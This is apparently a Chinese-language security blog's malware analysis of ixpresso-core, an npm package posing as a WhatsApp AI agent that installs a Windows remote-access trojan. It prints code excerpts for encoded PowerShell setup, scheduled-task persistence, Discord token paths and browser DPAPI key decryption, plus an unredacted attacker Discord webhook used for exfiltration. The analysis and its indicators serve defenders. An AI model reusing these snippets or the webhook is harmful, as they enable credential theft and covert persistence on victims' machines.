ixpresso-core:伪装成 WhatsApp 代理的 Windows RAT

目录

概要

ixpresso-core 是一个专为 Windows 设计的远程访问木马(RAT),在 npm 上发布时描述为"Personal AI System Agent - Control your device via WhatsApp"。实际上并没有任何 WhatsApp 集成功能。安装此软件包的任意版本都会部署一个名为 Veltrix 的持久化代理程序,该程序会窃取浏览器凭据、Discord 和 Telegram 会话令牌、加密货币种子短语以及实时按键记录,同时通过 Cloudflare 隧道开放一个可通过互联网访问的认证远程控制仪表板。

影响范围:​

  • 通过 Windows DPAPI 从 Chrome、Brave 和 Edge 中提取所有已保存的密码、Cookie 和信用卡号码
  • 从 Discord、Discord Canary、Discord PTB 和 Chrome 的 LevelDB 存储中提取 Discord 认证令牌
  • 将 Telegram tdata 会话文件夹压缩并外泄(无需密码即可完全接管账户)
  • 扫描桌面、文档和下载文件夹,查找包含钱包/种子/加密货币/密码关键字的文件
  • 将全系统范围的按键记录流实时外泄到硬编码的 Discord Webhook
  • 每 15 秒监控一次剪贴板
  • 当焦点切换到银行、登录、Discord 或浏览器窗口时自动截取屏幕截图
  • 通过 WebSocket API 实现远程桌面(实时 FFmpeg 屏幕流)、Shell 执行、摄像头/麦克风访问
  • 通过 Windows 计划任务(WindowsHealthMonitor)实现持久化,在每次登录时触发

失陷指标(IoC):​

指标
软件包ixpresso-core v1.0.0–v1.0.2
npm 维护者loltestpad
维护者邮箱[email protected]
Discord C2 Webhookhxxps://discord[.]com/api/webhooks/1486877933300617247/9vbGvM1GGELD5AgRHxOq1n5WwJZejtgy8jSZcOqM61AnPpXiSwjjggXrXArdEUgygxQ_
Discord Webhook 机器人Captain Hook(公会 1480992515933868257,频道 1480992664232136805
MQTT 代理broker.hivemq.com:1883
MQTT 主题veltrix/signals/VELTRIX-SIGNAL-KEY-SET
攻击者主机名LAPTOP-TQQFE0GQ(在 C2 嵌入中可见)
伪装可执行文件%APPDATA%\Microsoft\Windows\Protect\WebSecureSystem.exe
计划任务WindowsHealthMonitor(AtLogOn)
防火墙规则Windows Security Handler(TCP 3000,入站,node.exe)
FFmpeg 二进制文件%APPDATA%\Microsoft\Windows\Protect\Support\WebMediaWorker.exe
Cloudflared 二进制文件%APPDATA%\Microsoft\Windows\Protect\Support\WebSecureLink.exe
隧道*.trycloudflare.com, ap.a.pinggy.io:443, localhost.run:22

软件包概述

loltestpad 账户创建于 2026-04-14,与首次发布同一天。该邮箱域名 opemails.com 是一个临时邮箱服务。该账户下共有三个软件包,均在 48 小时内发布:

软件包版本描述(实际)掩护故事
ixpresso-corev1.0.0–v1.0.2Windows RAT (Veltrix)"Personal AI System Agent - Control your device via WhatsApp"
godsplanv1.0.2–v1.0.8AI 作弊工具(Electron 覆盖层)"High-performance DOM utility and diagnostic bridge"
eyevoxv2.1.4–v2.1.11轻量级 AI 作弊工具"Professional Stealth AI Assistant with Multi-Snapshot Reasoning"

三个 ixpresso-core 版本在 40 分钟内完成发布:

版本发布时间变更
1.0.021:55 UTC源码 + 预构建 Veltrix.exe(229 MB),服务器位于 0.0.0.0
1.0.122:17 UTC移除可执行文件,完整模块化 JS 源码,服务器位于 127.0.0.1,添加隧道
1.0.222:33 UTC通过 PowerShell 添加 FFmpeg 下载备选方案,修复异步包装器

该软件包在 public/screenshots/ 目录中打包了 64 张 PNG 格式截图,这些截图来自攻击者自己的测试机器。其中两张分别拍摄于 2026-04-14 的 22:27 和 22:31 UTC,比 v1.0.2 的发布时间早六分钟。最早的一批图片日期为 2026-03-30,说明开发工作至少在发布前两周就已开始。

从同一次会话中获取的保险库截图充分说明了一切:攻击者在自己机器上运行 Veltrix,并在发布前从自己的浏览器配置文件中外泄了 94 个密码、2 张信用卡和 16 条自动填充条目。

攻击者自己机器上运行的 Veltrix 仪表板在其 VAULT 标签页中显示了攻击者自己被盗的数据:118 个密码和 125 个 Cookie,这些数据是从攻击者的浏览器配置文件中获取的:

Veltrix VAULT 仪表板显示攻击者机器(LAPTOP-TQQFE0GQ)上的 118 个密码、125 个 Cookie 及部分 Google Cookie 值

攻击者的浏览器地址栏自动填充在明文中暴露了默认主密码——admin123 嵌入在之前会话的 trycloudflare.com URL 中:

浏览器自动填充显示带有查询字符串 ?pw=admin123 的 Veltrix 仪表板 URL,暴露了默认主密码

自动填充历史还显示了 127.0.0.1:5500/public/index.html——端口 5500 是 VS Code Live Server 的默认端口,确认攻击者在 VS Code 中本地开发和测试仪表板后才通过隧道部署。

VAULT 截图中的 Cookie 表包含 RFIHUB.COM 作为一个活跃的会话域。在任何截图中都没有直接可见的姓名或邮箱。浏览器历史中的 VS Code Live Server 确认了在隧道部署前在 VS Code 中进行了本地开发。

执行过程

没有 postinstall 钩子。该软件包被定位为开发者工具,由受害者直接运行。bin 启动器(bin/ixpresso.js)使用 detached: truestdio: 'ignore'windowsHide: true 生成主有效载荷,unref 子进程后退出。从终端的角度看,命令干净利落地完成了。

启动时,src/index.js 在加载任何应用程序模块之前通过 -EncodedCommand 传递一个 PowerShell 代码块:

javascript
const initScript = \` $exe = "${process.execPath}" New-NetFirewallRule -DisplayName "Windows Security Handler" -Direction Inbound -Program $exe -Action Allow -Protocol TCP -LocalPort 3000 -Enabled True -ErrorAction SilentlyContinue $t = '[DllImport("kernel32.dll")] public static extern uint SetThreadExecutionState(uint esFlags);' Add-Type -MemberDefinition $t -Name SleepBlocker -Namespace Native -ErrorAction SilentlyContinue [Native.SleepBlocker]::SetThreadExecutionState(0x80000041) $t2 = '[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' Add-Type -MemberDefinition $t2 -Name Win32 -Namespace Native -ErrorAction SilentlyContinue $hWnd = [Native.Win32]::GetConsoleWindow() if ($hWnd -ne [IntPtr]::Zero) { [Native.Win32]::ShowWindow($hWnd, 0) } \`.trim(); const encoded = Buffer.from(initScript, 'utf16le').toString('base64'); exec(\`powershell -NoProfile -EncodedCommand ${encoded}\`, { windowsHide: true });

三个操作,一次调用:在 TCP 3000 上创建名为"Windows Security Handler"的防火墙入站规则,一个防止睡眠和离开模式的 SetThreadExecutionState(0x80000041) 调用,以及 ShowWindow(hWnd, 0) 以隐藏控制台窗口。Base64 编码的命令避免了 PowerShell 命令行上的任何字符串匹配。

服务器启动并连接 Cloudflare 隧道后,攻击者的 Discord 频道会自动收到访问链接:

Discord C2 频道显示初始 Veltrix 信标和包含 trycloudflare.com 访问链接的 Cloudwale Tunnel Active 嵌入

持久化

PersistenceManager.init() 在 Express 服务器准备就绪时立即运行:

javascript
const stealthExe = path.join(appData, 'Microsoft', 'Windows', 'Protect', 'WebSecureSystem.exe'); // Shadow the Node runtime fs.copyFileSync(currentExe, stealthExe); // Copy src/ and public/ into the stealth directory this._copyRecursive(src, dest); // Register the scheduled task const registerTask = \` $action = New-ScheduledTaskAction -Execute "${stealthExe}" -Argument "${entryPoint}" $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName "WindowsHealthMonitor" ... \`;

Node 运行时被重命名为 WebSecureSystem.exe 并放置在 %APPDATA%\Microsoft\Windows\Protect\ 中,这是一个 Windows DPAPI 凭据保护服务合法使用的目录。计划任务在每次用户登录时触发。代码中存在一个 PersistenceService 类和注册表 Run 密钥机制(WindowsSecuritySync),但在 v1.0.2 中从未被调用——可能是为未来版本预留的。

凭据窃取

在 T+35 秒时,SessionHijacker.executeSweep() 执行三个操作:

Discord 令牌提取。​ 扫描四个 LevelDB 路径:

javascript
const paths = { Discord: path.join(appData, 'discord', 'Local Storage', 'leveldb'), 'Discord Canary': path.join(appData, 'discordcanary', 'Local Storage', 'leveldb'), 'Discord PTB': path.join(appData, 'discordptb', 'Local Storage', 'leveldb'), Chrome: path.join(localAppData, 'Google', 'Chrome', 'User Data', 'Default', 'Local Storage', 'leveldb'), };

同时提取明文令牌和 v10 DPAPI 加密令牌(dQw4w9WgXcQ: 前缀)。使用浏览器的master key 通过 PowerShell 中的 ProtectedData.Unprotect 恢复后解密加密令牌。生成的令牌报告将上传到 Discord Webhook。

加密货币战利品扫描。​ 爬取桌面、文档和下载文件夹,查找 .txt.docx.csv.xlsx.pdf.json 文件(小于 2 MB 且文件名匹配 /wallet|seed|phrase|password|secret|crypto|backup|metamask|phantom/i)。匹配项被压缩并上传。

Telegram 会话。​ 如果 tdata 文件夹(%APPDATA%\Telegram Desktop\tdata)小于 24 MB,则将其压缩并发送到 Discord。该文件夹本身就足以在没有用户密码的情况下接管账户。

攻击者自己的测试机器在发布当天(4 月 14 日)的保险库收获摘要显示提取了 94 个密码和 2 张信用卡:

Discord 显示保险库收获结果:94 个密码、2 张信用卡、16 个自动填充条目,并附有保险库 JSON 文件

同一次机器的第二次会话显示 69 个凭据包,其中 Google、YouTube 和 google.co.in 域可见于攻击者自己外泄的 Cookie 集中:

Veltrix VAULT 标签页显示 69 个包,包括 ACCOUNTS.GOOGLE(2 个密钥)、YOUTUBE(10 个密钥)、GOOGLE.COM(15 个密钥)——攻击者自己的 Google 会话 Cookie

在 T+45 秒时,VaultScraper.harvest() 以 Chrome、Brave 和 Edge 为目标。每个浏览器的 DPAPI master key 都会被解密:

javascript
const psScript = \` Add-Type -AssemblyName System.Security $enc = [Convert]::FromBase64String('${encryptedKeyBase64}') $unbound = $enc[5..($enc.Length-1)] $master = [System.Security.Cryptography.ProtectedData]::Unprotect($unbound, $null, 'CurrentUser') [Convert]::ToBase64String($master) \`.trim();

枚举每个浏览器下的所有配置。Login Data、Cookies 和 Web Data SQLite 数据库中的每个 v10 前缀都使用 AES-256-GCM 解密进行扫描。密码、Cookie、信用卡号码和自动填充条目被序列化为 JSON 报告并发送到 Discord。

监控

ScoutService.start() 在 T+45 秒时激活。它通过 uiohook-napi 注册系统级按键钩子,每 10 个字符或空闲 1 秒后刷新一次按键日志缓冲区,每次刷新时以前缀添加活动窗口标题,并将内容同时发送到 Discord 和 MQTT。每 15 秒通过 Get-Clipboard 轮询剪贴板。按键日志流、窗口标题和剪贴板内容都实时出现在同一个 Discord 频道中:

Discord 显示带窗口标题前缀的实时按键记录器输出、trycloudflare URL 的剪贴板捕获,以及带 [SCOUT] 标签的按键记录

窗口监视器每 5 秒检查一次前台进程,当匹配到 chromemsedgeoperabankingloginpassworddiscordtelegram 时自动截取屏幕截图。

远程控制

Cloudflare 隧道将本地 3000 端口的服务器公开暴露。攻击者通过 Discord 嵌入("Cloudwale Tunnel Active")收到 URL。仪表板需要主密码(默认 admin123,可通过 VELTRIX_PASSWORD 覆盖)。

该仪表板本身是通过隧道服务的基于浏览器的命令中心,受主密码提示保护:

Veltrix Command Center 登录页面,通过 trycloudflare.com 域提供服务,提示输入主密码

WebSocket API 处理通过 FFmpeg 屏幕流进行实时远程桌面、鼠标和键盘注入、摄像头和麦克风流。HTTP API 覆盖任意 PowerShell 执行(POST /api/shell/exec)、完整文件系统访问(列出、下载、上传、删除任何路径)、进程列表和终止、按需凭据收集、摄像头快照、10 秒音频捕获和自毁(POST /api/elite/purge),后者会清除伪装目录并发送最终 Discord 消息。

C2 架构

Discord Webhook 硬编码在 ConfigManager.js 中作为 defaultWebhook

javascript
this.defaultWebhook = 'https://discord.com/api/webhooks/1486877933300617247/9vbGvM1GGELD5AgRHxOq1n5WwJZejtgy8jSZcOqM61AnPpXiSwjjggXrXArdEUgygxQ_';

MQTT 与之并行运行。每个受害者在前一分钟每 5 秒发布一次心跳,然后每 30 秒发布一次,发布到 veltrix/signals/VELTRIX-SIGNAL-KEY-SET/<machineId>。攻击者可以通过向设备特定的命令主题发布 stopassholeshit 来发送终止命令。由于 HiveMQ 的公共代理是共享基础设施,任何知道主题字符串的人都可以观察到此活动中所有受害者的信标流量。

操作员和 Telegram 凭据可通过 CLI 参数(--webhook=--tgtoken=--tgchatid=)或环境变量配置,允许使用不同的 C2 端点重新部署该软件包。

直接查询 Webhook 端点确认频道在撰写本文时仍然活跃。该 Webhook 属于公会 1480992515933868257,投递到频道 1480992664232136805#system),机器人名为 Captain Hook。Discord 服务器还包含一个 #apk 频道,这表明 Android 版本的工具正在计划中或已经开发。

结论

三个软件包,一个账户,从创建到下架 48 小时。攻击者硬编码了 Discord Webhook,使用 HiveMQ 的公共代理进行 C2 操作,并在 tarball 中打包了 64 张自己测试会话的截图。这些都没有削弱 Veltrix 的能力:从 Chrome、Brave 和 Edge 进行完整的 DPAPI 凭据提取;Discord 和 Telegram 会话窃取;全系统按键记录;以及通过 Cloudflare 隧道进行认证的远程控制。

攻击者在发布前已在自己机器上运行 Veltrix。默认密码为 admin123,可在浏览器自动填充历史中看到。任何知道 MQTT 主题字符串的人都可以在 HiveMQ 的公共代理上观察受害者信标流量。Webhook 仍然活跃。

npm 已移除所有三个软件包。将在此 48 小时窗口期间运行过 ixpresso-coregodsplaneyevox 的任何系统视为已失陷:轮换所有浏览器存储的凭据、撤销 Discord 令牌、清除受感染机器上的 Telegram 会话。检查任务计划程序中的 WindowsHealthMonitor%APPDATA%\Microsoft\Windows\Protect\WebSecureSystem.exe

攻击者 Discord 服务器上的 #apk 频道表明 Android 有效载荷正在开发中或已在 npm 外部部署。这场活动还没有结束。

使用 vet 对您的 lockfiles 进行扫描,在安装前标记来自新创建账户的软件包。

  • malware
  • npm
  • supply-chain
  • rat
  • credential-theft

来自 SafeDep 博客的最新内容

关注以获取开源安全与工程方面的最新更新和见解